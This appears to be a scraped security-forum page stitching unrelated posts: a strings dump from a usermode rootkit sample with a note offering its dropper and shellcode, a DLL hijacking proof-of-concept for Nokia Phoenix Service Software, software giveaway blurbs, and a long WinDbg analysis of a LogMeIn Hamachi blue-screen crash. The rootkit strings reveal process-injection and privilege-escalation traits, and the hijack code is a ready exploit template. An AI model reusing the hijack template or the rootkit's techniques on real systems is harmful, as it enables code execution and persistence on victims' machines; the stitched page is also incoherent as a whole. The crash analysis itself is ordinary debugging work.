SdbGetAppPatchDir SdbGetBinaryTagData SdbGetFileAttributes SdbGetFirstChild SdbGetIndex SdbGetMatchingExe SdbGetNextChild SdbGetStringTagPtr SdbGetTagFromTagID SdbInitDatabase SdbIsStandardDatabase SdbMakeIndexKeyFromString SdbOpenApphelpDetailsDatabase SdbOpenApphelpResourceFile SdbOpenDatabase SdbQueryDataExTagID SdbReadApphelpDetailsData SdbReadBinaryTag SdbReadDWORDTag SdbReadQWORDTag SdbReadStringTag SdbRegisterDatabaseEx SdbReleaseDatabase SdbReleaseMatchingExe SdbStartIndexing SdbStopIndexing SdbTagRefToTagID SdbTagToString SdbUnregisterDatabase SdbWriteBinaryTag SdbWriteBinaryTagFromFile SdbWriteDWORDTag SdbWriteNULLTag SdbWriteQWORDTag SdbWriteStringTag SdbWriteWORDTag ShimFlushCache BaseFlushAppcompatCache generic unknown error iostream iostream stream error system 2 . 1 . 0 . 3 d?@ °H@ PI@ `I@ ?H@ 0I@ ?H@ ?@ °H@ ?I@ `I@ J@ 0I@ ?H@ ??@ °H@ ?I@ I@ ?H@ 0I@ ?H@ °?@ °H@ 0@ 0@ ?H@ 0I@ ?H@ SHGetKnownFolderPath Shell32.dll SHGetSpecialFolderPathW \ R e g i s t r y \ M a c h i n e \ S o f t w a r e \ M i c r o s o f t \ C r y p t o g r a p h y M a c h i n e G u i d \ R E G I S T R Y \ U S E R \ % s \ S o f t w a r e \ A p p D a t a L o w \ R E G I S T R Y \ U S E R \ % s \ S o f t w a r e \ R E G I S T R Y \ U S E R \ % s \ % s S e R e s t o r e P r i v i l e g e d?@ pm@ - z c l i c o n f g . e x e s d b i n s t . e x e a b c d e f g h i j k l m n o p q r s t v u w x y z A B C D E F G H I J K L M N O P Q R S T U V W 0 1 2 3 4 5 6 7 8 9 _ A S y s W O W 6 4 s y s t e m 3 2 \ M i c r o s o f t R e d i r e c t E X E M i c r o s o f t C o r p o r a t i o n * " " - q " % s " - q - u " % s " r u n a s IsWow64Process k e r n e l 3 2 . d l l explorer.exe chrome.exe opera.exe iexplore.exe lsass.exe firefox.exe LoadLibraryExA kernel32.dll GetProcAddress VirtualProtect VirtualAlloc CreateThread VirtualQuery ZwOpenProcess % S y s t e m R o o t % \ S y s t e m 3 2 \ b i n a r y I m a g e 3 2 l o a d e r { d 4 2 d 0 a f b - 3 6 3 8 - 4 3 2 6 - b 6 7 b - b 0 c b 9 5 4 f b a 9 4 } w i n d i r % s \ s y s t e m 3 2 \ c m d . e x e / c " s t a r t % s " d e s k t o p . i n i { 2 7 3 b 5 8 8 4 - 3 6 2 d - 4 f f 7 - 8 d 6 5 - 6 4 a c 2 e 7 f c 2 9 1 } \ h u i % s \ h u i % d . e x e { a 1 b a 4 f 7 2 - 9 7 6 2 - 4 8 6 4 - 8 8 8 9 - 4 7 8 a c 3 b d b 3 5 4 } \ s v c h o s t . e x e s v c h o s t . e x e @ @ LdrGetProcedureAddress NtAllocateVirtualMemory NtFreeVirtualMemory NtWriteVirtualMemory H F:\Devel\usermode-rootkit\usermode-rootkit\bin\usermode-rootkit_Win32.pdb No actual name except I'm curious when they realize that /DEBUG option should be turned off in release builds. Original dropper, unpacked malware, full loader text and extracted shellcode in attach. VT original https://www.virustotal.com/en/file/ed3d622c54b474c6caef540a3147731a1b2c7d4a7563b97731880bb15305d47d/analysis/1420287664/ unpacked https://www.virustotal.com/en/file/c3885c394a3ad75bc53e7ef2b2d8c8e9e5a12a7f3a52c7399d63814f05c52c96/analysis/1420287667/ No actual detection only trash. P.S. + actual loading screenshot, as you can see Sysinternals Autoruns cannot recognize this entry as rogue, more to say if you select Verify Digital Signatures it will list it as totally legit. MALWARE Pass: infected Source
-
It's a pretty great extension for analysis and reversing, and I've used it quite a bit when looking at lots of different kernel-level malware. I didn't see it posted on here so I thought I'd go ahead and post it. I've contributed to its documentation before in the past, so it's pretty neat seeing it go open-source. https://github.com/msuiche/SwishDbgExt Source
-
Phoenix Service Software 2012.16.004.48159(Nokia) DLL Hijacking
Aerosol posted a topic in Exploituri
/* * Exploit Title: Phoenix Service Software 2012.16.004.48159(Nokia) DLL Hijacking Exploit (phoenix_resources.dll,iagnostic_log.dll,phoenix_resources.dll,diagnostic_log.dll) * Date: 25/12/2014 * Author:Hadji Samir s-dz@hotmail.fr * Version: 2012.16.004.48159 * Vendor Homepage: http://www.Nokia.com/ * Tested on: Windows 7 */ #include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "Phoenix DLL Hijacked\Hadji Samir", "POC", MB_OK); } Source -
ABBYY FineReader 5 Professional accurately converts paper and image documents (e.g. regular and scanned PDFs) into editable formats including Microsoft Office and searchable PDF using world-class OCR technology – enabling you to reuse their content, archive them more efficiently and retrieve more quickly. ABBYY FineReader 5 Professional eliminates the need to retype documents and ensures that important information is readily available. It instantly provides access to the entire document of any size and supports over 100 languages in any combinations. ABBYY FineReader 5 Professional is an old version; however, it is, as they say, old but still gold. Sale ends in 1 day 14 hrs 30 mins Free ABBYY FineReader 5 Professional (100% discount)
-
PhotoStitcher allows you to easily and automatically combine your photos and images into a panorama. Sale ends in 2 days 14 hrs 30 mins Free PhotoStitcher (100% discount)
-
Last updated 2/5/2014 - Update #7) - Updates are scattered throughout the blog post, so I'd recommend using CTRL+F "Update #numberhere" without the quotations of course to get to the update you'd like to read. To those reading currently experiencing the 0x44 BSOD caused by LogMeIn Hamachi, the only current workaround until LogMeIn implements a fix and/or releases a stable version is to fully uninstall LogMeIn Hamachi. As of 2/5/2014, a LogMeIn update has been released that addresses this bug. Be sure to go ahead and download and/or update to the latest version if yours doesn't automatically: Thanks to timbadia @ Sysnative for the screenshot! -------------------------------- At this point, Harry (x BlueRobot) and I have analyzed this to the point where we can do no more as we are only volunteer analysts with an interest in helping people. We've found consistency thanks to everyone who submitted kernel-dumps. If you would like to do your part in making sure this gets solved, please go ahead and submit a support ticket (HERE) and in the 'Please describe your issue or question' field, if you could include a link to this blog post so the LogMeIn team can see what the problem is, etc, so this can be solved as fast as possible for its users, that would be fantastic. Keep reading below if you'd like to learn more about the specifics and internals of this crash! : ) -------------------------------- So, what's the problem? Well, first off, the bug check seems to consistently be MULTIPLE_IRP_COMPLETE_REQUESTS (44). -- A driver has called IoCompleteRequest to ask that an IRP be completed, but the packet has already been completed. When dealing with the first thread, the first thing I did was straight away take a look at the call stack and saw this: Very simple call stack, really. 1. We have Hamdrv.sys (LogMeIn Hamachi Virtual Miniport Driver). 2. nt! ?? ::FNODOBFM::`string'+0x2a9ab - TO MY KNOWLEDGE, the debugger (WingDbg) is slightly confused about symbol names in NTDLL due to the binary being reorganized into function chunks. The functions are no longer contiguous in memory. Hot code paths are clustered together with hot code paths of other functions. “Cold” code paths are moved elsewhere. That way you save on paging I/O by maximizing the amount of relative data on each code page. Essentially, to my understanding, when a sequence of code is compiled, it will occupy a single contiguous chunk of memory. With this said however, the optimizer can spread the executable code all over the place, replacing the inline code with a jump to some other memory location. As said above, this is done for two main reasons (maybe more, but I only understand two): A. Code size - If there's a common code sequence, make a copy and have everything jump to that copy. B. Locality of reference - If there's a code path that is taken quite often, putting that code together into a single location can possibly improve performance. As far as how this improves performance, to my knowledge it's mostly cache purposed. For example, a TLB (Translation lookaside buffer). With this said, if the optimizer moves the code to a different (random) location, what happens to the information in the PDB (Program Database)? When this happens, to my knowledge, FunctionName+Offset no longer equals FunctionAddress+Offset, therefore the output of information in the debugger isn't correct. In these specific cases, the code is moved to a location (which is random, to my knowledge) and the closest symbolic name is a string in the image. When this happens, the debugger (WinDbg) uses the string as a best guess for the return address on the stack. To further debug this, I believe I would need to set breakpoints and then disassemble a specific routine and take a look at the control flaws (which since this is not happening to me, I cannot do). Also, as much as I am interested in doing something like this, requesting the average computer user on a forum such as MS Answers to set a breakpoint(s) for knowledge related purposes is going a little far. It's just another reason for me to set up a guinea pig system. 3. Bug check itself. ------------- At first I thought it may have been the same user just making a new thread under a separate account possibly because they didn't want to follow my advice, but: ^^ Different models entirely, however the OS environment remained consistent (Windows 8.1). With this said, possibly a bug exclusive to 8.1. ------------- At first glance of the original dump I saw, I figured there may have been security software installed on the system in question that was causing conflicts with remote access, etc. I took a look at the loaded modules list and noted McAfee, nothing more. I informed the user to remove McAfee as it may be causing conflicts, but the same exact issue and bug check persisted after McAfee's removal. With this said, it does not appear to be caused by anything network and/or security related, although I could be wrong. As per usual, there doesn't appear to be a simple way to contact LogMeIn if you don't have an account, and their customer support seems to have vanished entirely since Jan 21st (their move away from being FREE). With this said, not sure how to bring this up. I'll keep my eyes peeled for any other of the same bug check. ------------- Update #1 - A few thread examples: 1. Blue Screen Error - Bugcheck - Microsoft Community 2. Windows 8.1 Error : MULTIPLE IRP COMPLETE REQUESTS. - Microsoft Community 3. BSOD Win 8.1 Multiple Complete IRP Request 4. BLUE SCREEN - MULTIPLE IRP COMPLETE REQUESTS -- All are the same OS environment (Windows 8.1). I was thinking of providing a link for each 0x44 BSOD thread I come across, but that would be quite a bit. I may do it eventually, just not now. I've also received notice from my good friend and Microsoft MVP zigzag3143 that he has seen quite a number of these popping up very recently. At this point, it's very evident there is a bug with the software itself and Windows 8.1 as an OS, and that this is very likely NOT a user specific or system specific issue. Update #2 - I discovered that LogMeIn has a ticket system (here), so I've gone ahead and reported this issue. I hope to hear from them soon! Update #3 - I have not received a response from LogMeIn since submitting a ticket, and I probably won't. In other news, I received a kernel-dump from a very generous user after I requested if it's possible they allow their system to crash with the system set to generate kernel dumps as opposed to minidumps. This way, I would be able to take a closer look and get more information. Here is what I was able to see: First off, the call stack is interesting: 7: kd> kv Child-SP RetAddr : Args to Child : Call Site fffff880`031a9d48 fffff803`d802e6f2 : 00000000`00000044 fffffa80`0ea3f910 00000000`00000f7a 00000000`00000000 : nt!KeBugCheckEx fffff880`031a9d50 fffff880`1a801f0a : 00000000`00000000 fffff880`1ca7ac00 fffffa80`0c7852c0 fffffa80`0c7852c0 : nt! ?? ::FNODOBFM::`string'+0xb318 fffff880`031a9e30 fffff880`1a803059 : fffffa80`0c7852c0 fffff880`031a9f00 fffff880`031a9f80 fffffa80`0000004a : Hamdrv+0x1f0a fffff880`031a9e80 fffff880`1a802a56 : fffff880`031aa680 fffffa80`00000001 fffffa80`09686b90 fffffa80`09686cf0 : Hamdrv+0x3059 fffff880`031aa540 fffff880`01e7dcc9 : fffffa80`0b3f51a0 fffffa80`09686b90 00000000`00000000 00000000`00000000 : Hamdrv+0x2a56 fffff880`031aa570 fffff880`01e7c166 : fffffa80`09686b90 00000000`00000000 fffffa80`0c4dd7f0 fffffa80`0c4dd7f0 : ndis!ndisMSendNBLToMiniport+0xc9 fffff880`031aa5f0 fffff880`02305230 : fffffa80`09686b90 00000000`00000001 fffffa80`09686b90 fffffa80`0c4dd7f0 : ndis!ndisFilterSendNetBufferLists+0xd6 fffff880`031aa630 fffff880`0230540f : 00000000`00000000 fffffa80`09686b90 00000000`00000000 fffffa80`0c4dd7f0 : wfplwfs!L2NdisFSendNetBufferLists+0x80 fffff880`031aa670 fffff880`01e7dd8d : 00000000`00000000 fffffa80`09686b90 00000000`00000000 00000000`00000000 : wfplwfs!LwfLowerSendNetBufferLists+0x9f fffff880`031aa6e0 fffff803`d80cb9a6 : 00000000`00000202 fffff803`d877abb9 fffff880`04714970 00000000`000007ff : ndis!ndisDataPathExpandStackCallback+0x31 fffff880`031aa720 fffff803`d80ce405 : fffff880`01e7dd5c fffff880`031aa910 00000000`00000000 fffff803`d82a8a08 : nt!KeExpandKernelStackAndCalloutInternal+0xe6 fffff880`031aa820 fffff880`01e7c05f : fffff8a0`046587f0 fffff803`d828d409 00000000`00000001 fffff803`d828c200 : nt!KeExpandKernelStackAndCalloutEx+0x25 fffff880`031aa860 fffff880`01e7c166 : 00000000`00000000 fffffa80`094f5bf0 fffffa80`08ff9970 00000000`00000000 : ndis!ndisInvokeNextSendHandler+0x2de fffff880`031aa970 fffff880`04796997 : fffffa80`09686b90 00000000`00000022 fffffa80`0c5aebf0 fffff880`031aaa39 : ndis!ndisFilterSendNetBufferLists+0xd6 fffff880`031aa9b0 fffff880`0479bbc5 : fffffa80`0e44950e fffffa80`0e449500 fffffa80`0000004a fffffa80`00000014 : bdfndisf6+0x3997 fffff880`031aaaa0 fffff803`d80c4b77 : fffffa80`095061a0 00000000`0020b553 00000000`00000000 fffff880`0479b934 : bdfndisf6+0x8bc5 fffff880`031aab10 fffff803`d80b42a1 : fffff803`d82a2110 fffffa80`0850a040 fffff803`d80c4b18 fffff803`d807fc00 : nt!IopProcessWorkItem+0x5f fffff880`031aab80 fffff803`d8048fd9 : 9212ecd9`41a9baff 00000000`00000080 fffff803`d80b4160 fffffa80`0850a040 : nt!ExpWorkerThread+0x142 fffff880`031aac10 fffff803`d80fd7e6 : fffff880`009cb180 fffffa80`0850a040 fffff880`009d6f40 fffffa80`0849f740 : nt!PspSystemThreadStartup+0x59 fffff880`031aac60 00000000`00000000 : fffff880`031ab000 fffff880`031a5000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x16 Aside from the various Network Driver Interface Specification and Windows Filtering Platform routines, we can see two BitDefender Firewall calls. As we ascend up the stack, we of course eventually see our three LogMeIn Hamachi Virtual Miniport Driver calls, and then the bug check. What's really interesting to me is that BitDefender's firewall turned up in the stack. Normally, if I saw this first as opposed to a minidump, I would assume that BitDefender's firewall was causing conflicts, but it has shown in various scenarios that the user would remove their security software and or firewall and the issue continued, or they didn't have any installed whatsoever to cause conflict in the first place. So, was it called maybe for reasons other than potential conflict? Possibly just noting that it had to deal with BitDefender before beginning the Network Driver Interface Specification routines? Also, there's definitely a trend in the packet being marked Pending as opposed to Completed: 7: kd> dt nt!_IRP fffffa800ea3f910 +0x000 Type : 0n-12272 +0x002 Size : 0xc5a +0x004 AllocationProcessorNumber : 0xfa80 +0x006 Reserved : 0xffff +0x008 MdlAddress : (null) +0x010 Flags : 0x60900 +0x018 AssociatedIrp : <unnamed-tag> +0x020 ThreadListEntry : _LIST_ENTRY [ 0xfffffa80`0ea3f930 - 0xfffffa80`0ea3f930 ] +0x030 IoStatus : _IO_STATUS_BLOCK +0x040 RequestorMode : 1 '' +0x041 PendingReturned : 0x1 '' +0x042 StackCount : 1 '' +0x043 CurrentLocation : 3 '' +0x044 Cancel : 0 '' +0x045 CancelIrql : 0 '' +0x046 ApcEnvironment : 0 '' +0x047 AllocationFlags : 0x4 '' +0x048 UserIosb : 0x00000000`01b12c30 _IO_STATUS_BLOCK +0x050 UserEvent : 0xfffffa80`09017860 _KEVENT +0x058 Overlay : <unnamed-tag> +0x068 CancelRoutine : 0xfffff880`1a80188c void +0 +0x070 UserBuffer : (null) +0x078 Tail : <unnamed-tag> The IoStatus also consistently appears to be IO_STATUS_BLOCK, which the driver sets the IRP's I/O status block to indicate the final status of an I/O request before calling IoCompleteRequest for the IRP. An I/O status block serves two purposes: It provides a higher-level driver's IoCompletion routine a way of determining whether the service worked when the IRP is completed. It provides more information about why the service either worked or did not work. As far as I know, this is the completion status, either STATUS_SUCCESS if the requested operation was completed successfully as you mentioned earlier, or an informational, warning, or error STATUS_XXX value. This is where I am stuck, I cannot find where the error, warning, etc, is? I'm having a fellow BSOD and Windows Internals Expert have a look at the kernel-dump I was provided. I will add more updates regarding it when I get them. ------------- Update #4 - Fellow BSOD, Windows Internals Expert, and good friend Harry has taken a look at the kernel-dump I provided him and some more interesting information was discovered. What's below likely won't make sense to the average user, but that's okay because it's more-so for knowledge related purposes and just some extra poking around. The initial temporary workaround still stands, which is to simply uninstall LogMeIn Hamachi until the LogMeIn developers issue a fix or patch. 7: kd> dt nt!_IO_STATUS_BLOCK fffffa800ea3f910 +0x000 Status : 0n207278096 +0x000 Pointer : 0xfffffa80`0c5ad010 Void +0x008 Information : 0 Status field layout can be found below. 7: kd> ? 0n207278096 Evaluate expression: 207278096 = 00000000`0c5ad010 I've evaluated the value to hexiadecimal value, to try and decipher what it could mean. It seems that it may have returned NT_ERROR. I managed to find this within the Ntdef.h Header file, I apologise if anyone has difficulty reading my dark theme for Visual Studio. 7: kd> .formats 0n207278096 Evaluate expression: Hex: 00000000`0c5ad010 Decimal: 207278096 Octal: 0000000000001426550020 Binary: 00000000 00000000 00000000 00000000 00001100 01011010 11010000 00010000 <-- 0 starts here Chars: .....Z.. Time: Tue Jul 27 02:14:56 1976 Float: low 1.68567e-031 high 0 Double: 1.02409e-315 Additional Information from the WDK - When testing a return value, you should use one of the following system-supplied macros (defined in Ntdef.h): NT_SUCCESS(Status) Evaluates to TRUE if the return value specified by Status is a success type (0 ? 0x3FFFFFFF) or an informational type (0x40000000 ? 0x7FFFFFFF). NT_INFORMATION(Status) Evaluates to TRUE if the return value specified by Status is an informational type (0x40000000 ? 0x7FFFFFFF). NT_WARNING(Status) Evaluates to TRUE if the return value specified by Status is a warning type (0x80000000 ? 0xBFFFFFFF). NT_ERROR(Status) Evaluates to TRUE if the return value specified by Status is an error type (0xC0000000 - 0xFFFFFFFF). 7: kd> !irp fffffa800ea3f910 1 Irp is active with 1 stacks 3 is current (= 0xfffffa800c440c10) No Mdl: No System Buffer: Thread fffffa800c716900: Irp is completed. Pending has been returned Flags = 00060900 ThreadListEntry.Flink = fffffa800ea3f930 ThreadListEntry.Blink = fffffa800ea3f930 IoStatus.Status = 00000000 IoStatus.Information = 00000118 RequestorMode = 00000001 Cancel = 00 CancelIrql = 0 ApcEnvironment = 00 UserIosb = 01b12c30 UserEvent = fffffa8009017860 Overlay.AsynchronousParameters.UserApcRoutine = 00000000 Overlay.AsynchronousParameters.UserApcContext = 01b12c30 Overlay.AllocationSize = 00000000 - 00000000 CancelRoutine = fffff8801a80188c Hamdrv UserBuffer = 00000000 &Tail.Overlay.DeviceQueueEntry = fffffa800ea3f988 Tail.Overlay.Thread = fffffa800c716900 Tail.Overlay.AuxiliaryBuffer = fffff803d8567998 Tail.Overlay.ListEntry.Flink = 00000000 Tail.Overlay.ListEntry.Blink = 00000000 Tail.Overlay.CurrentStackLocation = fffffa800c440c10 Tail.Overlay.OriginalFileObject = 00000000 Tail.Apc = 00580012 Tail.CompletionKey = 00580012 cmd flg cl Device File Completion-Context [ 3, 0] 0 0 fffffa8009ff6060 00000000 00000000-00000000 \Driver\hamachi Args: 00000000 00000000 00000000 00000000 The 3 is the Major Function Code for IRP_MJ_READ and the Minor Function Code is IRP_MN_NORMAL from my understanding. 7: kd> !devstack fffffa8009ff6060 !DevObj !DrvObj !DevExt ObjectName > fffffa8009ff6060 \Driver\hamachi fffffa8009ff61b0 HamachiTap.C6AE2999-2529-481A-A4BA-C3ED805229CC 7: kd> dt nt!_IO_STACK_LOCATION 0xfffffa800c440c10 +0x000 MajorFunction : 0x5 '' +0x001 MinorFunction : 0 '' +0x002 Flags : 0xd8 '' +0x003 Control : 0 '' +0x008 Parameters : <unnamed-tag> +0x028 DeviceObject : (null) +0x030 FileObject : (null) +0x038 CompletionRoutine : (null) +0x040 Context : (null) The data structure shows the current stack location of the IRP. Since IRPs can be handled by different Driver Objects through Driver Stacks, and therefore may be a indication of the different driver handling a different IRP. 7: kd> !drvobj fffffa800968ee60 Driver object (fffffa800968ee60) is for: \Driver\hamachi Driver Extension List: (id , addr) (4e4d4944 fffffa800ef88bb0) Device Object list: fffffa8009ff6060 fffffa800b3f5050 7: kd> !devobj fffffa800b3f5050 Device object (fffffa800b3f5050) is for: NDMP24 \Driver\hamachi DriverObject fffffa800968ee60 Current Irp 00000000 RefCount 0 Type 00000017 Flags 00002050 Dacl fffff9a100265f51 DevExt fffffa800b3f51a0 DevObjExt fffffa800b3f6688 ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT Characteristics (0x00000100) FILE_DEVICE_SECURE_OPEN AttachedTo (Lower) fffffa800e6bc7f0 \Driver\PnpManager Device queue is not busy. 7: kd> !devstack fffffa800b3f5050 !DevObj !DrvObj !DevExt ObjectName > fffffa800b3f5050 \Driver\hamachi fffffa800b3f51a0 NDMP24 <-- Network Data Management Protocol? fffffa800e6bc7f0 \Driver\PnpManager 00000000 0000006a !DevNode fffffa8008e37010 : DeviceInst is "ROOT\NET\0000" ServiceName is "Hamachi" The NDMP24 may explain the network related calls in the Call Stack for the thread which was responsible for the IRP 7: kd> !thread fffffa800c716900 THREAD fffffa800c716900 Cid 1c40.1da0 Teb: 000007f7fc3b4000 Win32Thread: fffff901007ffb90 RUNNING on processor 1 IRP List: fffffa800f678980: (0006,0118) Flags: 00060000 Mdl: 00000000 <-- Npfs fffffa800ea04ee0: (0006,0118) Flags: 00060000 Mdl: 00000000 <-- Npfs fffffa800f5f7520: (0006,01f0) Flags: 00060900 Mdl: 00000000 <-- nsiproxy fffffa800c52a520: (0006,01f0) Flags: 00060800 Mdl: 00000000 <-- nsiproxy Not impersonating DeviceMap fffff8a00000c280 Owning Process fffffa800c4c8940 Image: hamachi-2.exe Attached Process N/A Image: N/A Wait Start TickCount 864481 Ticks: 0 Context Switch Count 43034 IdealProcessor: 0 UserTime 00:00:00.125 KernelTime 00:00:00.140 Win32 Start Address 0x000007fd00a44aa0 Stack Init fffff8801ce29c90 Current fffff8801ce29050 Base fffff8801ce2a000 Limit fffff8801ce24000 Call 0 Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to Child : Call Site fffff880`1ce29438 fffff880`00b77115 : fffffa80`0cc3b840 fffffa80`093c9270 00000000`00000000 fffffa80`08531e00 : nt!ObReferenceObjectByHandle fffff880`1ce29440 fffff880`00b590a7 : fffff880`1ce29918 00000000`00000320 00000000`00000000 fffffa80`0cb9e620 : afd!AfdEnumNetworkEvents+0x75 fffff880`1ce294e0 fffff803`d844b47a : fffffa80`0c549610 00000000`00000000 00000000`000003a8 00000000`00000114 : afd!AfdFastIoDeviceControl+0x1097 fffff880`1ce29890 fffff803`d8460a76 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x3d9 fffff880`1ce29a20 fffff803`d8075453 : fffffa80`0c716900 00000000`01f9fb18 fffff880`1ce29aa8 00000000`01f9fb40 : nt!NtDeviceIoControlFile+0x56 fffff880`1ce29a90 000007fd`03242c5a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ fffff880`1ce29b00) 00000000`01f9fcb8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x000007fd`03242c5a 7: kd> !irp fffffa800f5f7520 Irp is active with 2 stacks 2 is current (= 0xfffffa800f5f7638) No Mdl: No System Buffer: Thread fffffa800c716900: Irp stack trace. cmd flg cl Device File Completion-Context [ 0, 0] 0 0 00000000 00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000 >[ 3, 0] 0 1 fffffa800caf9260 fffffa8008c53d10 00000000-00000000 pending \FileSystem\Npfs Args: 00002000 00000000 00000000 00000000 Npfs is a Windows driver, but I'm correct, isn't the driver attempting to complete the IRP packet again? I don't think I may be correct though, if the IRP is targeted at a different Device Object. ------------- So, that was Harry's analysis of the 0x44 kernel-dump. As discovered above, Npfs.sys appears to be sitting at status PENDING (not complete). Npfs.sys is the Named Pipe File System service. It enables the exchange of data among multiple paths, whether the exchange is for the same application or for two or more different applications at a time. Is this the reason the crash is occurring? Maybe, we cannot say because one kernel-dump is not enough as there needs to be a check for consistency. If we receive more kernel-dumps, we can check and see whether or not Npfs.sys is consistent in its status PENDING. If it is, it appears the developers will need to iron that out and everything will be solid. ------------- Update #5 - Wow, today I woke up to multiple emails from various people either providing their kernel-dumps, or asking if I'd like theirs. This is absolutely incredible, I am ecstatic. I'd like to extend a HUGE thank you to every single one of you. At the end of it all, I will be absolutely sure to give credit to every single one of you by your name, etc. Let's get started! David Laverdiere II's kernel-dump: This is the first kernel-dump I received, so it's only fair I use it in the first major analysis to check for consistency : ) First off, let's take a look at the call stack just to see what's going on: 1: kd> kv Child-SP RetAddr : Args to Child : Call Site ffffd000`3a7bb818 fffff802`ef991b4b : 00000000`00000044 ffffe000`07e7e2a0 00000000`00000f8a 00000000`00000000 : nt!KeBugCheckEx ffffd000`3a7bb820 fffff800`045c1f0a : 00000000`00000000 ffffd000`3ac72f00 ffffe000`088a1340 ffffe000`088a1340 : nt! ?? ::FNODOBFM::`string'+0x2a9ab ffffd000`3a7bb930 fffff800`045c3059 : ffffe000`088a1340 ffffd000`3a7bba02 ffffd000`3a7bba80 ffffe000`00000054 : Hamdrv+0x1f0a ffffd000`3a7bb980 fffff800`045c2a56 : 00000000`00000000 ffffe000`04b02bb0 ffffe000`04b02bb0 ffffe000`04b02d10 : Hamdrv+0x3059 ffffd000`3a7bc040 fffff800`010b7b14 : 00000000`00000000 ffffd000`3a7bc170 00000000`00000000 00000000`00000002 : Hamdrv+0x2a56 ffffd000`3a7bc070 fffff800`012e6115 : ffffe000`062ed430 ffffe000`04b02bb0 ffffe000`00000000 00000000`00000017 : ndis!NdisSendNetBufferLists+0x554 ffffd000`3a7bc250 fffff800`012e2c54 : fffff800`0144a370 00000000`00000000 ffffd000`3a7bc400 ffffe000`000086dd : tcpip!IppFragmentPackets+0x4e5 ffffd000`3a7bc3a0 fffff800`012a2475 : fffff800`0144a370 ffffe000`0657b000 ffffd000`00000000 00000000`00000000 : tcpip!IppDispatchSendPacketHelper+0x94 ffffd000`3a7bc530 fffff800`012e1b02 : 00000000`00000000 00000000`00000017 ffffd000`3a7bca40 ffffe000`02839498 : tcpip!IppPacketizeDatagrams+0x2d5 ffffd000`3a7bc6d0 fffff800`0129c5f2 : 00000000`00000000 ffffe000`00cf1204 fffff800`0144a370 ffffe000`06cd7630 : tcpip!IppSendDatagramsCommon+0x4a2 ffffd000`3a7bc8b0 fffff800`0128ed2e : 00000000`00000000 00000000`000035ce 00000000`0000eb14 00000000`0000080a : tcpip!IpNlpSendDatagrams+0x42 ffffd000`3a7bc8f0 fffff800`012ea33a : ffffe000`0808c100 00000000`00000002 ffffe000`0576a2e8 fffff800`0144a370 : tcpip!UdpSendMessagesOnPathCreation+0x42e ffffd000`3a7bcd10 fffff800`0128f154 : 00000000`00000000 ffffe000`06214010 ffffe000`05a1a480 00000000`00000000 : tcpip!UdpSendMessages+0x1da ffffd000`3a7bd140 fffff802`ef8c13f9 : fffff800`00c45b74 fffff800`012edef5 fffff800`00c1dfd8 ffffe000`0169de40 : tcpip!UdpTlProviderSendMessagesCalloutRoutine+0x15 ffffd000`3a7bd170 fffff800`0128e7ac : fffff800`0128f140 ffffd000`3a7bd2f0 ffffe000`04d18d00 00000000`00000000 : nt!KeExpandKernelStackAndCalloutInternal+0xe9 ffffd000`3a7bd2c0 fffff800`00c47629 : ffffe000`0576a280 ffffd000`3a7bdb80 ffffe000`0576a280 ffffe000`0576a280 : tcpip!UdpTlProviderSendMessages+0x6c ffffd000`3a7bd340 fffff800`00c2f0ca : ffffe000`007d5950 ffffd000`3a7bd908 ffffe000`01467d00 00000000`00000000 : afd!AfdFastDatagramSend+0x579 ffffd000`3a7bd500 fffff802`efbb3f97 : ffffe000`01467d00 00000000`00000000 ffffe000`01467d00 ffffd000`20607180 : afd!AfdFastIoDeviceControl+0x10bb ffffd000`3a7bd870 fffff802`efbb4d7a : e0000131`daf054d3 0000000c`001f0003 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x3f7 ffffd000`3a7bda20 fffff802`ef9624b3 : 00000000`00000000 ffffd000`3a7bdad8 00000000`00000001 000000a4`ef92f600 : nt!NtDeviceIoControlFile+0x56 ffffd000`3a7bda90 00007ffb`c0dc65ea : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`3a7bdb00) 000000a4`ef92eff8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007ffb`c0dc65ea From this call stack, we can see various networking related calls and routines. 1. For example, very early on in the stack we have two afd.sys routine calls, which is the Ancillary Function Driver. Ancillary Function Driver (AFD) is the pilot auxiliary function, a Microsoft Windows service, responsible to the BSD socket function. Windows (see Winsock), the most famous application that uses sockets is Apache. In the Windows GUI, setting AFD is via the Device Manager (devmgmt.msc) and not in services and applications (services.msc). It is displayed in the list of Non-Plug and Play drivers, as the Environment network support (AFD AFD Networking Support Environment). 2. As we move up the call stack, we go into many tcpip.sys (TCP/IP Protocol driver) routines. This is self explanatory. 3. We then have one single ndis.sys (Network Driver Interface Specification driver) routine call. The Network Driver Interface Specification (NDIS) is an application programming interface (API) for network interface cards (NICs). The NDIS forms the Logical Link Control (LLC) sublayer, which is the upper sublayer of the OSI data link layer (layer 2). Therefore, the NDIS acts as the interface between the Media Access Control (MAC) sublayer, which is the lower sublayer of the data link layer, and the network layer (layer 3). The NDIS is a library of functions often referred to as a "wrapper" that hides the underlying complexity of the NIC hardware and serves as a standard interface for level 3 network protocol drivers and hardware level MAC drivers. Another common LLC is the Open Data-Link Interface (ODI). 4. We then of course have our three HamDrv.sys (LogMeIn Hamachi Virtual Miniport) driver calls. 5. Finally, we then have our inevitable bug check itself. Moving on, something very interesting in David's kernel-dump is this: ADDITIONAL_DEBUG_TEXT: USB\VID_04F2&PID_B374 What does this mean? Well, this is a USB device. VID = Vendor ID, and PID = Product ID. As we can see here in this case, the VID = 04F2 and the PID = B374. As of right now, this doesn't really tell us anything other than a bunch of numbers which isn't very helpful. However, these numbers are actually very important! If we run them against a VID/PID database, we see that the 04F2 VID = 